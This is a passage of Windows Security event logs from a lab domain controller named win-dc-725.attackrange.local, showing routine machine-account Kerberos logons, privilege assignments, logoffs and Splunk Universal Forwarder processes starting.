			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256014
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39B242
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51122

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256013
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B242

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256012
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39B134
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51121

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256011
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B134

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256010
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256025
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:52:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256024
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:52:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256026
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:52:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256027
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:52:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256028
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:52:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256029
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B64B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:52:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256032
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39E1A2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:52:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256031
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39E1A2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51134

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256030
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39E1A2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:53:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256033
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:53:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256034
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:53:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256036
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x104c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:53:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256035
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:53:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256037
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:53:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256038
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:53:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256039
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x558
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:53:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256040
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B134

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:53:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256043
Keywords=Audit Success
